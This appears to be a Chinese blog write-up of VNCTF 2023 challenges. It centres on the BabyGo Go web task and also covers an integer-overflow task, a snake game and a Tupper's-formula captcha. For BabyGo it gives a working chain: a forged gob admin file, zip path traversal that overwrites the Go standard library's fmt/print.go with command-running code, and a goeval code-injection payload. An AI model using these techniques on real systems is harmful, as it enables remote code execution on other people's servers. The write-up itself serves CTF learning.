Web
BabyGo
各个路由:
r.GET("/", func(c *gin.Context) {
userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
session := sessions.Default(c)
session.Set("shallow", userDir)
session.Save()
fileutil.CreateDir(userDir)
gobFile, _ := os.Create(userDir + "user.gob")
user := User{Name: "ctfer", Path: userDir, Power: "low"}
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user)
if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
return
}
c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
})
r.GET("/upload", func(c *gin.Context) {
c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
})
r.POST("/upload", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
fileutil.CreateDir(userUploadDir)
file, err := c.FormFile("file")
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
return
}
ext := file.Filename[strings.LastIndex(file.Filename, "."):]
if ext == ".gob" || ext == ".go" {
c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
return
}
filename := userUploadDir + file.Filename
if fileutil.IsExist(filename) {
fileutil.RemoveFile(filename)
}
err = c.SaveUploadedFile(file, filename)
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
return
}
c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
})
r.GET("/unzip", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
files, _ := fileutil.ListFileNames(userUploadDir)
destPath := filepath.Clean(userUploadDir + c.Query("path"))
for _, file := range files {
if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
err := fileutil.UnZip(userUploadDir+file, destPath)
if err != nil {
c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
return
}
fileutil.RemoveFile(userUploadDir + file)
}
}
c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
})
r.GET("/backdoor", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userDir := session.Get("shallow").(string)
if fileutil.IsExist(userDir + "user.gob") {
file, _ := os.Open(userDir + "user.gob")
decoder := gob.NewDecoder(file)
var ctfer User
decoder.Decode(&ctfer)
if ctfer.Power == "admin" {
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
if err != nil {
fmt.Println(err)
}
c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
return
} else {
c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
return
}
} else {
c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
return
}
})
/路由用来创建用户文件夹,/upload上传文件,不能传.go和.gob,但可传.zip。/unzip解压uploads下所有的zip,参数path表示解压到何处,可以做目录穿越。因此我们可以把go和gob压缩,再解压到任意位置。.gob是序列化文件,/backdoor读取该文件,判断power是不是admin,是就执行Eval。
先伪造.gob文件,压缩成zip,上传,然后访问/unzip?path=../就可获取admin.
func main() {
user := User{Name: "ctfer", Path:"/tmp/cf138594b7b49e21d05f090cf49eaa3e/", Power: "admin"}
gobFile, _ := os.Create("user.gob")
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user)
}
接下来的解法有两种。
解法一:文件覆盖
看到Eval里的代码第一反应是Eval的代码不可控(当时不知道pkg参数的妙用,解法二讲),就想到能不能把Println改了,加点私货。查到这个函数的源文件在/usr/local/go/src/fmt/print.go。在docker拿源代码,版本号要和题目一致(go.mod可以看),不然运行会报错,当时卡这里挺久。
docker pull golang:1.19
pull下来之后把print.go读出来,开始魔改。
func Println(a ...any) (n int, err error) {
// return Fprintln(os.Stdout,a...)原来的
return Fprintln(os.Stdout,"hhhhhhhhhhhhhhhhh")
}
打包,上传,访问/unzip?path=../../../../../../../../../../usr/local/go/src/fmt/,此时再访问/backdoor,可以看到成功魔改。
开始rce:
func Println(a ...any) (n int, err error) {
//注意要先导包 "os/exec"
cmd := exec.Command("ls", "-l", "/")
out, err := cmd.CombinedOutput()
if err != nil {
}
Print(string(out))//不调用Println,防止递归
return Fprintln(os.Stdout,"hhhhhhhhhhhhhhhhh")
}
结果:
func Println(a ...any) (n int, err error) {
cmd := exec.Command("cat", "/ffflllaaaggg")
out, err := cmd.CombinedOutput()
if err != nil {
}
Print(string(out))
return Fprintln(os.Stdout,"hhhhhhhhhhhhhhhhh")
}
得到flag:
解法二:goeval代码注入
原理:goeval实际上是代码拼接,形成新文件,再运行,pkg参数可控则有代码注入。
参考:http://www.gem-love.com/2022/07/25/goeval%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5%E5%AF%BC%E8%87%B4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/
payload:
pkg="os/exec"%0a fmt"%0a)%0a%0afunc%09init(){%0acmd:=exec.Command("cat","/ffflllaaaggg")%0aout,_:=cmd.CombinedOutput()%0afmt.Println(string(out))%0a}%0a%0a%0avar(a="1
电子木鱼
考点:整数溢出
关键代码:
if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {
let mut cost = payload.cost;
if payload.name == "Donate" || payload.name == "Cost" {
cost *= body.quantity;
}
if GONGDE.get() < cost as i32 {
return web::Json(APIResult {
success: false,
message: "功德不足",
});
}
if cost != 0 {
GONGDE.set(GONGDE.get() - cost as i32);
}
cost是i32,最大值是2147483647,超过这部分会给截断。传name=Cost,cost就是quantity*10。quantity传大于2147483647的数会报错。
2147483647: 0111 1111 1111 1111 1111 1111 1111 1111
2147483647*10: 0100 1111 1111 1111 1111 1111 1111 1111 0110,取 1111 1111 1111 1111 1111 1111 1111 0110,就是-10
quantity再改小些,负得就更大。传name=Cost&quantity=2047483647,得到flag。
Misc
Snake on web
我用wasm2c,得到C文件,再gcc -c game.c -o game.o,把game.o拖进IDA,还是不会。最后还是用其他解法。
解法一:改js代码,给蛇减速,然后吃到100分。
解法二:用按键脚本
from pynput import keyboard
import time
control = keyboard.Controller()
while True:
#先把蛇头朝向右边,起点随便
time.sleep(2)
control.press('s')
control.release('s')
time.sleep(0.05)
control.press('a')
control.release('a')
time.sleep(2)
control.press('s')
control.release('s')
time.sleep(0.05)
control.press('d')
control.release('d')
验证码
把验证码提取出来,放到:https://tuppers-formula.ovh/
1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865378478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552
标签:VNCTF,Web,return,err,题解,gob,1111,file,gin From: https://www.cnblogs.com/un1n0wn/p/17134213.html